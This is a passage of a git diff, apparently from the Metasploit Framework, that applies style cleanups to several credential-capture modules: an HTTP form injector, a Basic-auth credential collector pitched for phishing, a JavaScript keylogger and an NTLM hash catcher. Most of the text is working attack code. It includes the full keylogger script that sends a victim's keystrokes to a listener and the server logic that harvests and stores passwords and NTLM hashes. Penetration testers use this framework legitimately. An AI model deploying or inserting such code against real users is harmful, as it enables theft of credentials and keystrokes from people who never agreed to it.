"Content-Type: #{ctype}\r\n" \ + "Content-Length: #{data.length}\r\n" \ "Connection: Close\r\n\r\n#{data}" cli.put(res) return end - buff = '' - - if(@myautopwn) + if @myautopwn buff << "" end list = File.readlines(@sitelist) list.each do |site| next if site =~ /^#/ + site.strip! - next if site.length == 0 + next if site.empty? + buff << "" end data = File.read(@template) data.gsub!(/%CONTENT%/, buff) - res = - "HTTP/1.1 200 OK\r\n" + - "Host: #{mysrc}\r\n" + - "Expires: 0\r\n" + - "Cache-Control: must-revalidate\r\n" + - "Content-Type: text/html\r\n" + - "Content-Length: #{data.length}\r\n" + + res = + "HTTP/1.1 200 OK\r\n" \ + "Host: #{mysrc}\r\n" \ + "Expires: 0\r\n" \ + "Cache-Control: must-revalidate\r\n" \ + "Content-Type: text/html\r\n" \ + "Content-Length: #{data.length}\r\n" \ "Connection: Close\r\n\r\n#{data}" cli.put(res) return - end - def inject_forms(site) + domain = site.gsub(%r{(\.\.|\\|/)}, '') + domain = 'www.' + domain if domain !~ /^www/i - domain = site.gsub(/(\.\.|\\|\/)/, "") - domain = "www." + domain if domain !~ /^www/i + until domain.empty? - while(domain.length > 0) - - form_file = File.join(@formsdir, domain) + ".txt" - form_data = "" - if (File.readable?(form_file)) + form_file = File.join(@formsdir, domain) + '.txt' + form_data = '' + if File.readable?(form_file) form_data = File.read(form_file) break end - parts = domain.split(".") + parts = domain.split('.') parts.shift - domain = parts.join(".") + domain = parts.join('.') end %| @@ -485,6 +476,5 @@ def inject_forms(site) | - end end diff --git a/modules/auxiliary/server/capture/http_basic.rb b/modules/auxiliary/server/capture/http_basic.rb index fd3efa1279e2..10f4cfd58f7d 100644 --- a/modules/auxiliary/server/capture/http_basic.rb +++ b/modules/auxiliary/server/capture/http_basic.rb @@ -7,38 +7,45 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML include Msf::Auxiliary::Report - def initialize(info={}) - super(update_info(info, - 'Name' => 'HTTP Client Basic Authentication Credential Collector', - 'Description' => %q{ - This module responds to all requests for resources with a HTTP 401. This should - cause most browsers to prompt for a credential. If the user enters Basic Auth creds - they are sent to the console. + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'HTTP Client Basic Authentication Credential Collector', + 'Description' => %q{ + This module responds to all requests for resources with a HTTP 401. This should + cause most browsers to prompt for a credential. If the user enters Basic Auth creds + they are sent to the console. - This may be helpful in some phishing expeditions where it is possible to embed a - resource into a page. + This may be helpful in some phishing expeditions where it is possible to embed a + resource into a page. - This attack is discussed in Chapter 3 of The Tangled Web by Michal Zalewski. - }, - 'Author' => ['saint patrick '], - 'License' => MSF_LICENSE, - 'Actions' => - [ - [ 'Capture', 'Description' => 'Run capture web server' ] + This attack is discussed in Chapter 3 of The Tangled Web by Michal Zalewski. + }, + 'Author' => ['saint patrick '], + 'License' => MSF_LICENSE, + 'Actions' => [ + [ 'Capture', { 'Description' => 'Run capture web server' } ] ], - 'PassiveActions' => - [ + 'PassiveActions' => [ 'Capture' ], - 'DefaultAction' => 'Capture' - )) + 'DefaultAction' => 'Capture', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options( [ - OptPort.new('SRVPORT', [ true, "The local port to listen on.", 80 ]), - OptString.new('REALM', [ true, "The authentication realm you'd like to present.", "Secure Site" ]), - OptString.new('RedirectURL', [ false, "The page to redirect users to after they enter basic auth creds" ]) - ]) + OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 80 ]), + OptString.new('REALM', [ true, "The authentication realm you'd like to present.", 'Secure Site' ]), + OptString.new('RedirectURL', [ false, 'The page to redirect users to after they enter basic auth creds' ]) + ] + ) end # Not compatible today @@ -47,9 +54,9 @@ def support_ipv6? end def run - @myhost = datastore['SRVHOST'] - @myport = datastore['SRVPORT'] - @realm = datastore['REALM'] + @myhost = datastore['SRVHOST'] + @myport = datastore['SRVPORT'] + @realm = datastore['REALM'] exploit end @@ -81,9 +88,9 @@ def report_cred(opts) end def on_request_uri(cli, req) - if(req['Authorization'] and req['Authorization'] =~ /basic/i) - basic,auth = req['Authorization'].split(/\s+/) - user,pass = Rex::Text.decode_base64(auth).split(':', 2) + if req['Authorization'] && req['Authorization'] =~ /basic/i + _, auth = req['Authorization'].split(/\s+/) + user, pass = Rex::Text.decode_base64(auth).split(':', 2) report_cred( ip: cli.peerhost, @@ -103,7 +110,7 @@ def on_request_uri(cli, req) end else print_status("Sending 401 to client #{cli.peerhost}") - response = create_response(401, "Unauthorized") + response = create_response(401, 'Unauthorized') response.headers['WWW-Authenticate'] = "Basic realm=\"#{@realm}\"" cli.send_response(response) end diff --git a/modules/auxiliary/server/capture/http_javascript_keylogger.rb b/modules/auxiliary/server/capture/http_javascript_keylogger.rb index 7c9a418e4932..5067e3acfb27 100644 --- a/modules/auxiliary/server/capture/http_javascript_keylogger.rb +++ b/modules/auxiliary/server/capture/http_javascript_keylogger.rb @@ -7,30 +7,38 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) - super(update_info(info, - 'Name' => 'Capture: HTTP JavaScript Keylogger', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Capture: HTTP JavaScript Keylogger', + 'Description' => %q{ This modules runs a web server that demonstrates keystroke - logging through JavaScript. The DEMO option can be set to enable - a page that demonstrates this technique. Future improvements will - allow for a configurable template to be used with this module. - To use this module with an existing web page, simply add a - script source tag pointing to the URL of this service ending - in the .js extension. For example, if URIPATH is set to "test", - the following URL will load this script into the calling site: - http://server:port/test/anything.js - }, - 'License' => MSF_LICENSE, - 'Author' => ['Marcus J. Carey ', 'hdm'] - )) - - register_options( - [ - OptBool.new('DEMO', [true, "Creates HTML for demo purposes", false]), - ]) + logging through JavaScript. The DEMO option can be set to enable + a page that demonstrates this technique. Future improvements will + allow for a configurable template to be used with this module. + To use this module with an existing web page, simply add a + script source tag pointing to the URL of this service ending + in the .js extension. For example, if URIPATH is set to "test", + the following URL will load this script into the calling site: + http://server:port/test/anything.js + }, + 'License' => MSF_LICENSE, + 'Author' => ['Marcus J. Carey ', 'hdm'], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) + + register_options( + [ + OptBool.new('DEMO', [true, 'Creates HTML for demo purposes', false]), + ] + ) end - # This is the module's main runtime method def run @seed = Rex::Text.rand_text_alpha(12) @@ -42,44 +50,43 @@ def run # This handles the HTTP responses for the Web server def on_request_uri(cli, request) - cid = nil if request['Cookie'].to_s =~ /,?\s*id=([a-f0-9]{4,32})/i - cid = $1 + cid = ::Regexp.last_match(1) end - if not cid and request.qstring['id'].to_s =~ /^([a-f0-9]{4,32})/i - cid = $1 + if !cid && request.qstring['id'].to_s =~ /^([a-f0-9]{4,32})/i + cid = ::Regexp.last_match(1) end data = request.qstring['data'] unless cid - cid = generate_client_id(cli,request) + cid = generate_client_id(cli, request) print_status("Assigning client identifier '#{cid}'") resp = create_response(302, 'Moved') resp['Content-Type'] = 'text/html' - resp['Location'] = request.uri + '?id=' + cid - resp['Set-Cookie'] = "id=#{cid}" + resp['Location'] = request.uri + '?id=' + cid + resp['Set-Cookie'] = "id=#{cid}" cli.send_response(resp) return end base_url = generate_base_url(cli, request) - #print_status("#{cli.peerhost} [#{cid}] Incoming #{request.method} request for #{request.uri}") + # print_status("#{cli.peerhost} [#{cid}] Incoming #{request.method} request for #{request.uri}") case request.uri when /\.js(\?|$)/ - content_type = "text/plain" - send_response(cli, generate_keylogger_js(base_url, cid), {'Content-Type'=> content_type, 'Set-Cookie' => "id=#{cid}"}) + content_type = 'text/plain' + send_response(cli, generate_keylogger_js(base_url, cid), { 'Content-Type' => content_type, 'Set-Cookie' => "id=#{cid}" }) - when /\/demo\/?(\?|$)/ + when %r{/demo/?(\?|$)} if datastore['DEMO'] - content_type = "text/html" - send_response(cli, generate_demo(base_url, cid), {'Content-Type'=> content_type, 'Set-Cookie' => "id=#{cid}"}) + content_type = 'text/html' + send_response(cli, generate_demo(base_url, cid), { 'Content-Type' => content_type, 'Set-Cookie' => "id=#{cid}" }) else send_not_found(cli) end @@ -87,14 +94,12 @@ def on_request_uri(cli, request) else if data nice = process_data(cli, request, cid, data) - script = datastore['DEMO'] ? generate_demo_js_reply(base_url, cid, nice) : "" - send_response(cli, script, {'Content-Type' => "text/plain", 'Set-Cookie' => "id=#{cid}"}) + script = datastore['DEMO'] ? generate_demo_js_reply(base_url, cid, nice) : '' + send_response(cli, script, { 'Content-Type' => 'text/plain', 'Set-Cookie' => "id=#{cid}" }) + elsif datastore['DEMO'] + send_redirect(cli, "/demo/?cid=#{cid}") else - if datastore['DEMO'] - send_redirect(cli, "/demo/?cid=#{cid}") - else - send_not_found(cli) - end + send_not_found(cli) end end end @@ -110,7 +115,7 @@ def generate_base_url(cli, req) bits = host.split(':') # Extract the hostname:port sequence from the Host header - if bits.length > 1 and bits.last.to_i > 0 + if (bits.length > 1) && (bits.last.to_i > 0) port = bits.pop.to_i host = bits.join(':') end @@ -118,13 +123,13 @@ def generate_base_url(cli, req) port = datastore['SRVPORT'].to_i end - prot = (!! datastore['SSL']) ? 'https://' : 'http://' + prot = !datastore['SSL'].nil? ? 'https://' : 'http://' if Rex::Socket.is_ipv6?(host) host = "[#{host}]" end base = prot + host - if not ((prot == 'https' and port.nil?) or (prot == 'http' and port.nil?)) + if !(((prot == 'https') && port.nil?) || ((prot == 'http') && port.nil?)) base << ":#{port}" end @@ -132,34 +137,34 @@ def generate_base_url(cli, req) end def process_data(cli, request, cid, data) + lines = [''] + real = '' - lines = [""] - real = "" - - Rex::Text.uri_decode(data).split(",").each do |char| + Rex::Text.uri_decode(data).split(',').each do |char| byte = char.to_s.hex.chr next if byte == "\x00" + real << byte case char.to_i # Do Backspace when 8 - lines[-1] = lines[-1][0, lines[-1].length - 1] if lines[-1].length > 0 + lines[-1] = lines[-1][0, lines[-1].length - 1] if !lines[-1].empty? when 13 - lines << "" + lines << '' else lines[-1] << byte end end - nice = lines.join("").gsub("\t", "") - real = real.gsub("\x08", "") + nice = lines.join('').gsub("\t", '') + real = real.gsub("\x08", '') - if not @client_cache[cid] + if !@client_cache[cid] - fp = fingerprint_user_agent(request['User-Agent'] || "") - header = "Browser Keystroke Log\n" + fp = fingerprint_user_agent(request['User-Agent'] || '') + header = "Browser Keystroke Log\n" header << "=====================\n" - header << "Created: #{Time.now.to_s}\n" + header << "Created: #{Time.now}\n" header << "Address: #{cli.peerhost}\n" header << " ID: #{cid}\n" header << " FPrint: #{fp.inspect}\n" @@ -168,129 +173,127 @@ def process_data(cli, request, cid, data) header << "====================\n\n" @client_cache[cid] = { - :created => Time.now.to_i, - :path_clean => store_loot("browser.keystrokes.clean", "text/plain", cli.peerhost, header, "keystrokes_clean_#{cid}.txt", "Browser Keystroke Logs (Clean)"), - :path_raw => store_loot("browser.keystrokes.raw", "text/plain", cli.peerhost, header, "keystrokes_clean_#{cid}.txt", "Browser Keystroke Logs (Raw)") + created: Time.now.to_i, + path_clean: store_loot('browser.keystrokes.clean', 'text/plain', cli.peerhost, header, "keystrokes_clean_#{cid}.txt", 'Browser Keystroke Logs (Clean)'), + path_raw: store_loot('browser.keystrokes.raw', 'text/plain', cli.peerhost, header, "keystrokes_clean_#{cid}.txt", 'Browser Keystroke Logs (Raw)') } print_good("[#{cid}] Logging clean keystrokes to: #{@client_cache[cid][:path_clean]}") print_good("[#{cid}] Logging raw keystrokes to: #{@client_cache[cid][:path_raw]}") end - ::File.open( @client_cache[cid][:path_clean], "ab") { |fd| fd.puts nice } - ::File.open( @client_cache[cid][:path_raw], "ab") { |fd| fd.write(real) } + ::File.open(@client_cache[cid][:path_clean], 'ab') { |fd| fd.puts nice } + ::File.open(@client_cache[cid][:path_raw], 'ab') { |fd| fd.write(real) } - if nice.length > 0 + if !nice.empty? print_good("[#{cid}] Keys: #{nice}") end nice end - def generate_client_id(cli, req) - "%.8x" % Kernel.rand(0x100000000) + def generate_client_id(_cli, _req) + '%.8x' % Kernel.rand(0x100000000) end - def generate_demo(base_url, cid) # This is the Demo Form Page - html = < - -Demo Form - - - -

-
-

Keylogger Demo Form

-
-

This form submits data to the Metasploit listener for demonstration purposes. -

- - - -
Username:
Password:
-

- -
- - -
- - -EOS + html = <<~EOS + + + Demo Form + + + +

+
+

Keylogger Demo Form

+
+

This form submits data to the Metasploit listener for demonstration purposes. +

+ + + +
Username:
Password:
+

+ +
+ + +
+ + + EOS return html end # This is the JavaScript Key Logger Code def generate_keylogger_js(base_url, cid) - targ = Rex::Text.rand_text_alpha(12) - code = <"); - else { - f#{@seed} = document.createElement("script"); - f#{@seed}.setAttribute("id", t#{@seed}); - f#{@seed}.setAttribute("name", t#{@seed}); - } - - f#{@seed}.setAttribute("src", "#{base_url}?id=#{cid}&data=" + l#{@seed}); - f#{@seed}.style.visibility = "hidden"; - - document.body.appendChild(f#{@seed}); - - if (k#{@seed} == 13 || l#{@seed}.length > 3000) - l#{@seed} = ","; - - setTimeout('document.body.removeChild(document.getElementById("' + t#{@seed} + '"))', 5000); -} -EOS + var c#{@seed} = 0; + window.onload = function load#{@seed}(){ + l#{@seed} = ","; + + if (window.addEventListener) { + document.addEventListener('keypress', p#{@seed}, true); + document.addEventListener('keydown', d#{@seed}, true); + } else if (window.attachEvent) { + document.attachEvent('onkeypress', p#{@seed}); + document.attachEvent('onkeydown', d#{@seed}); + } else { + document.onkeypress = p#{@seed}; + document.onkeydown = d#{@seed}; + } + + } + function p#{@seed}(e){ + k#{@seed} = (window.event) ? window.event.keyCode : e.which; + k#{@seed} = k#{@seed}.toString(16); + if (k#{@seed} != "d"){ + #{@seed}(k#{@seed}); + } + } + function d#{@seed}(e){ + k#{@seed} = (window.event) ? window.event.keyCode : e.which; + if (k#{@seed} == 9 || k#{@seed} == 8 || k#{@seed} == 13){ + #{@seed}(k#{@seed}); + } + } + + function #{@seed}(k#{@seed}){ + l#{@seed} = l#{@seed} + k#{@seed} + ","; + + var t#{@seed} = "#{targ}" + c#{@seed}; + c#{@seed}++; + + var f#{@seed}; + + if (document.all) + f#{@seed} = document.createElement(""); + else { + f#{@seed} = document.createElement("script"); + f#{@seed}.setAttribute("id", t#{@seed}); + f#{@seed}.setAttribute("name", t#{@seed}); + } + + f#{@seed}.setAttribute("src", "#{base_url}?id=#{cid}&data=" + l#{@seed}); + f#{@seed}.style.visibility = "hidden"; + + document.body.appendChild(f#{@seed}); + + if (k#{@seed} == 13 || l#{@seed}.length > 3000) + l#{@seed} = ","; + + setTimeout('document.body.removeChild(document.getElementById("' + t#{@seed} + '"))', 5000); + } + EOS return code end - def generate_demo_js_reply(base_url, cid, data) + def generate_demo_js_reply(_base_url, _cid, data) code = < 'HTTP Client MS Credential Catcher', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'HTTP Client MS Credential Catcher', + 'Description' => %q{ This module attempts to quietly catch NTLM/LM Challenge hashes. }, - 'Author' => - [ + 'Author' => [ 'Ryan Linn ', ], - 'License' => MSF_LICENSE, - 'Actions' => - [ - [ 'WebServer', 'Description' => 'Run capture web server' ] + 'License' => MSF_LICENSE, + 'Actions' => [ + [ 'WebServer', { 'Description' => 'Run capture web server' } ] ], - 'PassiveActions' => - [ + 'PassiveActions' => [ 'WebServer' ], - 'DefaultAction' => 'WebServer')) + 'DefaultAction' => 'WebServer', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options([ - #OptString.new('LOGFILE', [ false, "The local filename to store the captured hashes", nil ]), - OptString.new('CAINPWFILE', [ false, "The local filename to store the hashes in Cain&Abel format", nil ]), - OptString.new('JOHNPWFILE', [ false, "The prefix to the local filename to store the hashes in JOHN format", nil ]), - OptString.new('CHALLENGE', [ true, "The 8 byte challenge ", "1122334455667788" ]) + # OptString.new('LOGFILE', [ false, "The local filename to store the captured hashes", nil ]), + OptString.new('CAINPWFILE', [ false, 'The local filename to store the hashes in Cain&Abel format', nil ]), + OptString.new('JOHNPWFILE', [ false, 'The prefix to the local filename to store the hashes in JOHN format', nil ]), + OptString.new('CHALLENGE', [ true, 'The 8 byte challenge ', '1122334455667788' ]) ]) register_advanced_options([ - OptString.new('DOMAIN', [ false, "The default domain to use for NTLM authentication", "DOMAIN"]), - OptString.new('SERVER', [ false, "The default server to use for NTLM authentication", "SERVER"]), - OptString.new('DNSNAME', [ false, "The default DNS server name to use for NTLM authentication", "SERVER"]), - OptString.new('DNSDOMAIN', [ false, "The default DNS domain name to use for NTLM authentication", "example.com"]), - OptBool.new('FORCEDEFAULT', [ false, "Force the default settings", false]) + OptString.new('DOMAIN', [ false, 'The default domain to use for NTLM authentication', 'DOMAIN']), + OptString.new('SERVER', [ false, 'The default server to use for NTLM authentication', 'SERVER']), + OptString.new('DNSNAME', [ false, 'The default DNS server name to use for NTLM authentication', 'SERVER']), + OptString.new('DNSDOMAIN', [ false, 'The default DNS domain name to use for NTLM authentication', 'example.com']), + OptBool.new('FORCEDEFAULT', [ false, 'Force the default settings', false]) ]) - end def on_request_uri(cli, request) @@ -59,105 +63,105 @@ def on_request_uri(cli, request) process_options(cli, request) else # If the host has not started auth, send 401 authenticate with only the NTLM option - if(!request.headers['Authorization']) + if !request.headers['Authorization'] vprint_status("401 '#{request.uri}'") - response = create_response(401, "Unauthorized") - response.headers['WWW-Authenticate'] = "NTLM" + response = create_response(401, 'Unauthorized') + response.headers['WWW-Authenticate'] = 'NTLM' response.headers['Proxy-Support'] = 'Session-Based-Authentication' response.body = - "You are not authorized to view this page" + 'You are not authorized to view this page' - cli.send_response(response) else vprint_status("Continuing auth '#{request.uri}'") - method,hash = request.headers['Authorization'].split(/\s+/,2) + method, hash = request.headers['Authorization'].split(/\s+/, 2) # If the method isn't NTLM something odd is going on. Regardless, this won't get what we want, 404 them - if(method != "NTLM") - print_status("Unrecognized Authorization header, responding with 404") + if (method != 'NTLM') + print_status('Unrecognized Authorization header, responding with 404') send_not_found(cli) return false end - response = handle_auth(cli,hash) - cli.send_response(response) + response = handle_auth(cli, hash) end + cli.send_response(response) end end def run if datastore['CHALLENGE'].to_s =~ /^([a-fA-F0-9]{16})$/ - @challenge = [ datastore['CHALLENGE'] ].pack("H*") + @challenge = [ datastore['CHALLENGE'] ].pack('H*') else - print_error("CHALLENGE syntax must match 1122334455667788") + print_error('CHALLENGE syntax must match 1122334455667788') return end - exploit() + exploit end def process_options(cli, request) print_status("OPTIONS #{request.uri}") headers = { 'MS-Author-Via' => 'DAV', - 'DASL' => '', - 'DAV' => '1, 2', - 'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH', - 'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK', + 'DASL' => '', + 'DAV' => '1, 2', + 'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH', + 'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK', 'Cache-Control' => 'private' } - resp = create_response(207, "Multi-Status") - headers.each_pair {|k,v| resp[k] = v } - resp.body = "" + resp = create_response(207, 'Multi-Status') + headers.each_pair { |k, v| resp[k] = v } + resp.body = '' resp['Content-Type'] = 'text/xml' cli.send_response(resp) end - def handle_auth(cli,hash) + def handle_auth(cli, hash) # authorization string is base64 encoded message message = Rex::Text.decode_base64(hash) - if(message[8,1] == "\x01") + if (message[8, 1] == "\x01") domain = datastore['DOMAIN'] server = datastore['SERVER'] dnsname = datastore['DNSNAME'] dnsdomain = datastore['DNSDOMAIN'] - if(!datastore['FORCEDEFAULT']) - dom,ws = parse_type1_domain(message) - if(dom) + if !datastore['FORCEDEFAULT'] + dom, ws = parse_type1_domain(message) + if dom domain = dom end - if(ws) + if ws server = ws end end - response = create_response(401, "Unauthorized") - chalhash = MESSAGE.process_type1_message(hash,@challenge,domain,server,dnsname,dnsdomain) - response.headers['WWW-Authenticate'] = "NTLM " + chalhash - return response + response = create_response(401, 'Unauthorized') + chalhash = MESSAGE.process_type1_message(hash, @challenge, domain, server, dnsname, dnsdomain) + response.headers['WWW-Authenticate'] = 'NTLM ' + chalhash # if the message is a type 3 message, then we have our creds - elsif(message[8,1] == "\x03") - domain,user,host,lm_hash,ntlm_hash = MESSAGE.process_type3_message(hash) + elsif (message[8, 1] == "\x03") + domain, user, host, lm_hash, ntlm_hash = MESSAGE.process_type3_message(hash) nt_len = ntlm_hash.length - if nt_len == 48 #lmv1/ntlmv1 or ntlm2_session - arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, - :lm_hash => lm_hash, - :nt_hash => ntlm_hash + if nt_len == 48 # lmv1/ntlmv1 or ntlm2_session + arg = { + ntlm_ver: NTLM_CONST::NTLM_V1_RESPONSE, + lm_hash: lm_hash, + nt_hash: ntlm_hash } - if arg[:lm_hash][16,32] == '0' * 32 + if arg[:lm_hash][16, 32] == '0' * 32 arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE end # if the length of the ntlm response is not 24 then it will be bigger and represent # a ntlmv2 response - elsif nt_len > 48 #lmv2/ntlmv2 - arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, - :lm_hash => lm_hash[0, 32], - :lm_cli_challenge => lm_hash[32, 16], - :nt_hash => ntlm_hash[0, 32], - :nt_cli_challenge => ntlm_hash[32, nt_len - 32] + elsif nt_len > 48 # lmv2/ntlmv2 + arg = { + ntlm_ver: NTLM_CONST::NTLM_V2_RESPONSE, + lm_hash: lm_hash[0, 32], + lm_cli_challenge: lm_hash[32, 16], + nt_hash: ntlm_hash[0, 32], + nt_cli_challenge: ntlm_hash[32, nt_len - 32] } elsif nt_len == 0 print_status("Empty hash from #{host} captured, ignoring ... ") @@ -167,7 +171,7 @@ def handle_auth(cli,hash) # If we get an empty hash, or unknown hash type, arg is not set. # So why try to read from it? - if not arg.nil? + if !arg.nil? arg[:host] = host arg[:user] = user arg[:domain] = domain @@ -176,45 +180,39 @@ def handle_auth(cli,hash) end response = create_response(200) - response.headers['Cache-Control'] = "no-cache" - return response + response.headers['Cache-Control'] = 'no-cache' else response = create_response(200) - response.headers['Cache-Control'] = "no-cache" - return response + response.headers['Cache-Control'] = 'no-cache' end - + return response end def parse_type1_domain(message) domain = nil workstation = nil - reqflags = message[12,4] - reqflags = reqflags.unpack("V").first + reqflags = message[12, 4] + reqflags = reqflags.unpack('V').first - if((reqflags & NTLM_CONST::NEGOTIATE_DOMAIN) == NTLM_CONST::NEGOTIATE_DOMAIN) - dom_len = message[16,2].unpack('v')[0].to_i - dom_off = message[20,2].unpack('v')[0].to_i - domain = message[dom_off,dom_len].to_s + if ((reqflags & NTLM_CONST::NEGOTIATE_DOMAIN) == NTLM_CONST::NEGOTIATE_DOMAIN) + dom_len = message[16, 2].unpack('v')[0].to_i + dom_off = message[20, 2].unpack('v')[0].to_i + domain = message[dom_off, dom_len].to_s end - if((reqflags & NTLM_CONST::NEGOTIATE_WORKSTATION) == NTLM_CONST::NEGOTIATE_WORKSTATION) - wor_len = message[24,2].unpack('v')[0].to_i - wor_off = message[28,2].unpack('v')[0].to_i - workstation = message[wor_off,wor_len].to_s + if ((reqflags & NTLM_CONST::NEGOTIATE_WORKSTATION) == NTLM_CONST::NEGOTIATE_WORKSTATION) + wor_len = message[24, 2].unpack('v')[0].to_i + wor_off = message[28, 2].unpack('v')[0].to_i + workstation = message[wor_off, wor_len].to_s end - return domain,workstation - + return domain, workstation end def html_get_hash(arg = {}) ntlm_ver = arg[:ntlm_ver] - if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE - lm_hash = arg[:lm_hash] - nt_hash = arg[:nt_hash] - else - lm_hash = arg[:lm_hash] - nt_hash = arg[:nt_hash] + lm_hash = arg[:lm_hash] + nt_hash = arg[:nt_hash] + unless (ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE) || (ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE) lm_cli_challenge = arg[:lm_cli_challenge] nt_cli_challenge = arg[:nt_cli_challenge] end @@ -223,7 +221,7 @@ def html_get_hash(arg = {}) host = arg[:host] ip = arg[:ip] - unless @previous_lm_hash == lm_hash and @previous_ntlm_hash == nt_hash then + unless (@previous_lm_hash == lm_hash) && (@previous_ntlm_hash == nt_hash) @previous_lm_hash = lm_hash @previous_ntlm_hash = nt_hash @@ -231,38 +229,46 @@ def html_get_hash(arg = {}) # Check if we have default values (empty pwd, null hashes, ...) and adjust the on-screen messages correctly case ntlm_ver when NTLM_CONST::NTLM_V1_RESPONSE - if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge, - :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :type => 'ntlm' }) - print_status("NLMv1 Hash correspond to an empty password, ignoring ... ") + if NTLM_CRYPT.is_hash_from_empty_pwd?({ + hash: [nt_hash].pack('H*'), srv_challenge: @challenge, + ntlm_ver: NTLM_CONST::NTLM_V1_RESPONSE, type: 'ntlm' + }) + print_status('NLMv1 Hash correspond to an empty password, ignoring ... ') return end - if (lm_hash == nt_hash or lm_hash == "" or lm_hash =~ /^0*$/ ) then - lm_hash_message = "Disabled" - elsif NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [lm_hash].pack("H*"),:srv_challenge => @challenge, - :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :type => 'lm' }) - lm_hash_message = "Disabled (from empty password)" + if (lm_hash == nt_hash) || (lm_hash == '') || lm_hash =~ /^0*$/ + lm_hash_message = 'Disabled' + elsif NTLM_CRYPT.is_hash_from_empty_pwd?({ + hash: [lm_hash].pack('H*'), srv_challenge: @challenge, + ntlm_ver: NTLM_CONST::NTLM_V1_RESPONSE, type: 'lm' + }) + lm_hash_message = 'Disabled (from empty password)' else lm_hash_message = lm_hash lm_chall_message = lm_cli_challenge end when NTLM_CONST::NTLM_V2_RESPONSE - if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge, - :cli_challenge => [nt_cli_challenge].pack("H*"), - :user => Rex::Text::to_ascii(user), - :domain => Rex::Text::to_ascii(domain), - :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :type => 'ntlm' }) - print_status("NTLMv2 Hash correspond to an empty password, ignoring ... ") + if NTLM_CRYPT.is_hash_from_empty_pwd?({ + hash: [nt_hash].pack('H*'), srv_challenge: @challenge, + cli_challenge: [nt_cli_challenge].pack('H*'), + user: Rex::Text.to_ascii(user), + domain: Rex::Text.to_ascii(domain), + ntlm_ver: NTLM_CONST::NTLM_V2_RESPONSE, type: 'ntlm' + }) + print_status('NTLMv2 Hash correspond to an empty password, ignoring ... ') return end - if lm_hash == '0' * 32 and lm_cli_challenge == '0' * 16 - lm_hash_message = "Disabled" + if (lm_hash == '0' * 32) && (lm_cli_challenge == '0' * 16) + lm_hash_message = 'Disabled' lm_chall_message = 'Disabled' - elsif NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [lm_hash].pack("H*"),:srv_challenge => @challenge, - :cli_challenge => [lm_cli_challenge].pack("H*"), - :user => Rex::Text::to_ascii(user), - :domain => Rex::Text::to_ascii(domain), - :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :type => 'lm' }) - lm_hash_message = "Disabled (from empty password)" + elsif NTLM_CRYPT.is_hash_from_empty_pwd?({ + hash: [lm_hash].pack('H*'), srv_challenge: @challenge, + cli_challenge: [lm_cli_challenge].pack('H*'), + user: Rex::Text.to_ascii(user), + domain: Rex::Text.to_ascii(domain), + ntlm_ver: NTLM_CONST::NTLM_V2_RESPONSE, type: 'lm' + }) + lm_hash_message = 'Disabled (from empty password)' lm_chall_message = 'Disabled' else lm_hash_message = lm_hash @@ -270,10 +276,12 @@ def html_get_hash(arg = {}) end when NTLM_CONST::NTLM_2_SESSION_RESPONSE - if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge, - :cli_challenge => [lm_hash].pack("H*")[0,8], - :ntlm_ver => NTLM_CONST::NTLM_2_SESSION_RESPONSE, :type => 'ntlm' }) - print_status("NTLM2_session Hash correspond to an empty password, ignoring ... ") + if NTLM_CRYPT.is_hash_from_empty_pwd?({ + hash: [nt_hash].pack('H*'), srv_challenge: @challenge, + cli_challenge: [lm_hash].pack('H*')[0, 8], + ntlm_ver: NTLM_CONST::NTLM_2_SESSION_RESPONSE, type: 'ntlm' + }) + print_status('NTLM2_session Hash correspond to an empty password, ignoring ... ') return end lm_hash_message = lm_hash @@ -281,32 +289,32 @@ def html_get_hash(arg = {}) end # Display messages - domain = Rex::Text::to_ascii(domain) - user = Rex::Text::to_ascii(user) + domain = Rex::Text.to_ascii(domain) + user = Rex::Text.to_ascii(user) capturedtime = Time.now.to_s case ntlm_ver when NTLM_CONST::NTLM_V1_RESPONSE capturelogmessage = - "#{capturedtime}\nNTLMv1 Response Captured from #{host} \n" + - "DOMAIN: #{domain} USER: #{user} \n" + - "LMHASH:#{lm_hash_message ? lm_hash_message : ""} \nNTHASH:#{nt_hash ? nt_hash : ""}\n" + "#{capturedtime}\nNTLMv1 Response Captured from #{host} \n" \ + "DOMAIN: #{domain} USER: #{user} \n" \ + "LMHASH:#{lm_hash_message || ''} \nNTHASH:#{nt_hash || 